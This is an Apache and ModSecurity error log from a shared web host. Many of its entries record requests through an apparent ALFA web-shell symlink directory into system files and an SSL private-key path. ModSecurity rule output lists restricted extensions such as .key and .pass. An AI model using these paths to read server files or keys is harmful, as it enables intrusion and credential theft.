[Sat Oct 24 19:00:59.424578 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 35.174.253.85:9783] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input4/subsystem/event2/subsystem/input5/device/driver/pcspkr/driver/bind
[Sat Oct 24 19:01:00.100536 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.17:52558] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".cs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/pref/TkWin.cs"] [unique_id "at04rDKiZtbKEGWJKoLUNQAAACE"]
[Sat Oct 24 19:01:00.100959 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.17:52558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/pref/TkWin.cs"] [unique_id "at04rDKiZtbKEGWJKoLUNQAAACE"]
[Sat Oct 24 19:01:00.101425 2026] [security2:error] [pid 2693020:tid 2693020] [client 185.191.171.17:52558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/lib64/tcl8.6/Tix8.4.3/pref/TkWin.cs"] [unique_id "at04rDKiZtbKEGWJKoLUNQAAACE"]
[Sat Oct 24 19:01:08.597624 2026] [authz_core:error] [pid 2692979:tid 2692979] [client 66.132.195.56:52428] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:01:08.598326 2026] [security2:error] [pid 2692979:tid 2692979] [client 66.132.195.56:52428] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at04tPavbqLdB7btCU-8awAAABc"]
[Sat Oct 24 19:01:08.598356 2026] [security2:error] [pid 2692979:tid 2692979] [client 66.132.195.56:52428] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "64.20.54.226"] [uri "/"] [unique_id "at04tPavbqLdB7btCU-8awAAABc"]
[Sat Oct 24 19:01:09.296166 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.221.156.96:31479] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:01:14.971609 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.84.250.51:49100] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:01:32.717303 2026] [authz_core:error] [pid 2677776:tid 2677776] [client 66.132.195.56:50570] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:01:46.697937 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 18.214.138.148:12995] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:01:51.867292 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 185.191.171.4:55366] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:01:54.640163 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.6.97.88:11284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:02:02.737564 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.83.180.239:2072] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:02:03.258452 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 85.208.96.210:17926] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_mrt_cache/aliases
[Sat Oct 24 19:02:06.915618 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.224.215.150:40268] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:02:14.809841 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 18.232.36.1:51505] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:02:18.706565 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.167.32.123:63820] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:02:36.046640 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.214.238.178:50713] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:02:38.621922 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 44.223.232.55:19006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:02:42.660888 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 35.174.141.243:55271] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:02:54.788254 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 23.23.99.55:34218] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory6/node0/cpu0/crash_notes
[Sat Oct 24 19:03:09.289201 2026] [core:error] [pid 2684583:tid 2684583] (13)Permission denied: [client 185.191.171.8:16216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/key_jar/remote_node_defrag_ratio
[Sat Oct 24 19:03:10.996609 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 100.24.167.60:7914] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:03:13.543872 2026] [security2:error] [pid 2693035:tid 2693035] [client 43.134.93.164:36468] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "curso-de-ventas.com"] [uri "/"] [unique_id "at05Md3lMH_Ldre-PZts3wAAACk"]
[Sat Oct 24 19:03:13.544880 2026] [authz_core:error] [pid 2693035:tid 2693035] [client 43.134.93.164:36468] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:03:22.515937 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 52.3.104.214:38147] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:03:33.466587 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 185.191.171.18:60014] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/poison
[Sat Oct 24 19:03:38.597546 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 100.27.153.9:6749] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/device:0f/subsystem/devices/device:00/physical_node/driver/remove_id
[Sat Oct 24 19:03:54.277373 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 52.205.113.104:23751] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:04:10.191933 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 98.83.8.142:4047] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/dev/char/4:27/subsystem/tty22/subsystem/ttyS2/custom_divisor
[Sat Oct 24 19:04:15.122289 2026] [core:crit] [pid 2707162:tid 2707162] (13)Permission denied: [client 176.32.193.16:60023] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:04:20.459940 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 85.208.96.212:45028] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:04:22.144060 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 185.191.171.6:45566] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid/slabs_cpu_partial
[Sat Oct 24 19:04:22.862261 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 54.86.59.155:8367] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:04:30.294749 2026] [ssl:error] [pid 2693017:tid 2693017] (5)Input/output error: [client 44.207.69.106:27402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:04:38.488301 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.54.249.218:36755] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:04:50.180312 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 54.156.248.117:40462] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:04:54.164347 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 44.194.139.149:54366] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:05:05.138995 2026] [core:crit] [pid 2684583:tid 2684583] (13)Permission denied: [client 45.91.64.10:51910] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:05:05.187648 2026] [authz_core:error] [pid 2693034:tid 2693034] [client 176.32.193.16:54158] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 19:05:05.631880 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 45.91.64.10:51928] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:05:06.534578 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 54.84.93.8:8598] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:05:14.194138 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 3.224.215.150:37129] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:05:18.173015 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 18.211.148.239:63704] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:05:24.991034 2026] [core:crit] [pid 2677776:tid 2677776] (13)Permission denied: [client 176.32.193.16:56276] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:05:25.551667 2026] [core:crit] [pid 2693020:tid 2693020] (13)Permission denied: [client 176.32.193.16:56298] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 19:05:30.167986 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.206.93.215:6855] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:05:42.392453 2026] [ssl:error] [pid 2684583:tid 2684583] (22)Invalid argument: [client 34.203.111.15:14983] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:05:46.297941 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 18.214.186.220:41587] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:05:50.393233 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 184.73.167.217:53284] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:05:51.087138 2026] [core:error] [pid 2693035:tid 2693035] (13)Permission denied: [client 85.208.96.193:55318] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-16/cache_dma
[Sat Oct 24 19:05:54.163067 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.22.64.232:32732] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:06:06.150133 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 52.200.93.170:53141] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:06:10.161815 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 23.21.204.95:28119] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:06:14.185494 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.193.115.232:44402] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:06:22.164679 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 54.147.182.90:36533] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:06:34.152465 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.205.163.103:27916] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:06:54.315605 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 23.21.250.48:47069] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:07:06.158210 2026] [core:error] [pid 2677776:tid 2677776] (13)Permission denied: [client 98.83.226.125:16690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0F13:00/subsystem/drivers/thermal/unbind
[Sat Oct 24 19:07:10.199493 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.212.205.90:34741] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:07:12.311866 2026] [core:error] [pid 2693020:tid 2693020] [client 16.216.88.130:8192] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sat Oct 24 19:07:12.311912 2026] [core:error] [pid 2693020:tid 2693020] [client 16.216.88.130:8192] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace.
[Sat Oct 24 19:07:14.168781 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 100.28.49.152:62307] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:07:25.537941 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 85.208.96.195:36470] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:07:26.226225 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 52.0.218.219:60209] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:07:38.299087 2026] [core:error] [pid 2693020:tid 2693020] (13)Permission denied: [client 34.227.234.246:11688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory11/node0/cpu1/driver/cpu0/firmware_node/subsystem/devices/LNXSYBUS:00/PNP0A03:00/physical_node/QEMU0002:00/subsystem/drivers/fw_cfg/bind
[Sat Oct 24 19:07:46.197537 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.44.229.124:60630] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:07:50.152644 2026] [ssl:error] [pid 2707162:tid 2707162] (5)Input/output error: [client 34.236.135.14:45603] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:07:54.261320 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 35.170.205.140:35598] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:07:58.134732 2026] [core:error] [pid 2693017:tid 2693017] (13)Permission denied: [client 44.206.93.215:40450] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:02.0/driver/uevent
[Sat Oct 24 19:08:06.231815 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.232.82.72:35110] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:08:10.165110 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.224.215.150:21975] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:08:22.726582 2026] [core:error] [pid 2692979:tid 2692979] (13)Permission denied: [client 85.208.96.206:20264] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/md_mod/parameters/create_on_open
[Sat Oct 24 19:08:23.816859 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 85.208.96.202:40388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:08:26.330152 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 44.209.35.147:40274] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:08:34.272969 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.232.39.98:35943] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:08:37.603387 2026] [core:error] [pid 2693034:tid 2693034] (13)Permission denied: [client 85.208.96.210:34938] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/store_user
[Sat Oct 24 19:08:42.158567 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.94.199.128:54753] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:08:50.149068 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.226.106.93:28049] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:08:54.466545 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 54.225.181.161:1793] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:02.306655 2026] [ssl:error] [pid 2707162:tid 2707162] (70014)End of file found: [client 52.3.102.51:4429] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:06.399437 2026] [ssl:error] [pid 2692979:tid 2692979] (70014)End of file found: [client 54.147.238.89:60324] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:10.151452 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 98.82.59.253:5413] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:14.163351 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 3.232.39.98:49806] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:18.340072 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 3.229.95.193:52025] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:22.311552 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 54.85.126.86:1735] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:30.157302 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 100.24.149.244:16913] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event0/subsystem/input1/event1/device/device/subsystem/drivers/psmouse/serio1/drvctl
[Sat Oct 24 19:09:32.640164 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.6:27284] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".key"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bd307_65f1b_0eac483831475f39171bbeb7d0607bb6.key"] [unique_id "at06rN3lMH_Ldre-PZts8AAAACk"]
[Sat Oct 24 19:09:32.640613 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.6:27284] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bd307_65f1b_0eac483831475f39171bbeb7d0607bb6.key"] [unique_id "at06rN3lMH_Ldre-PZts8AAAACk"]
[Sat Oct 24 19:09:32.640985 2026] [security2:error] [pid 2693035:tid 2693035] [client 185.191.171.6:27284] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/ssl/keys/bd307_65f1b_0eac483831475f39171bbeb7d0607bb6.key"] [unique_id "at06rN3lMH_Ldre-PZts8AAAACk"]
[Sat Oct 24 19:09:38.292067 2026] [ssl:error] [pid 2692918:tid 2692918] (5)Input/output error: [client 52.4.238.8:53972] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:42.267397 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 98.83.94.113:30377] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:46.178424 2026] [ssl:error] [pid 2684583:tid 2684583] (70014)End of file found: [client 3.81.253.213:37245] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:54.261653 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 3.232.82.72:7403] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:56.698557 2026] [ssl:error] [pid 2693035:tid 2693035] (70014)End of file found: [client 185.191.171.1:35632] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:09:58.301377 2026] [ssl:error] [pid 2693034:tid 2693034] (70014)End of file found: [client 52.0.41.164:1917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:10:02.192738 2026] [ssl:error] [pid 2692918:tid 2692918] (70014)End of file found: [client 44.223.232.55:35390] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:10:27.006350 2026] [security2:error] [pid 2692918:tid 2692918] [client 85.208.96.209:49192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/dbus-1/system.d/nm-ifcfg-rh.conf"] [unique_id "at064rUNAjBk2uOT2T-GHgAAAAo"]
[Sat Oct 24 19:10:27.006753 2026] [security2:error] [pid 2692918:tid 2692918] [client 85.208.96.209:49192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/dbus-1/system.d/nm-ifcfg-rh.conf"] [unique_id "at064rUNAjBk2uOT2T-GHgAAAAo"]
[Sat Oct 24 19:10:27.007232 2026] [security2:error] [pid 2692918:tid 2692918] [client 85.208.96.209:49192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/dbus-1/system.d/nm-ifcfg-rh.conf"] [unique_id "at064rUNAjBk2uOT2T-GHgAAAAo"]
[Sat Oct 24 19:10:30.358528 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 34.205.163.103:62475] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:10:38.814984 2026] [ssl:error] [pid 2693020:tid 2693020] (70014)End of file found: [client 3.93.211.16:59388] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:10:42.201392 2026] [ssl:error] [pid 2707149:tid 2707149] (70014)End of file found: [client 44.207.252.58:13754] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:11:18.177466 2026] [core:error] [pid 2707149:tid 2707149] (13)Permission denied: [client 184.73.167.217:59520] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/device:07/subsystem/devices/PNP0A03:00/device:00/physical_node/remove
[Sat Oct 24 19:11:30.447397 2026] [ssl:error] [pid 2677776:tid 2677776] (70014)End of file found: [client 18.232.36.1:38685] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 19:11:34.436889 2026] [ssl:error] [pid 2693017:tid 2693017] (70014)End of file found: [client 52.5.232.250:12955] AH02013: coalesce failed to read from data bucket
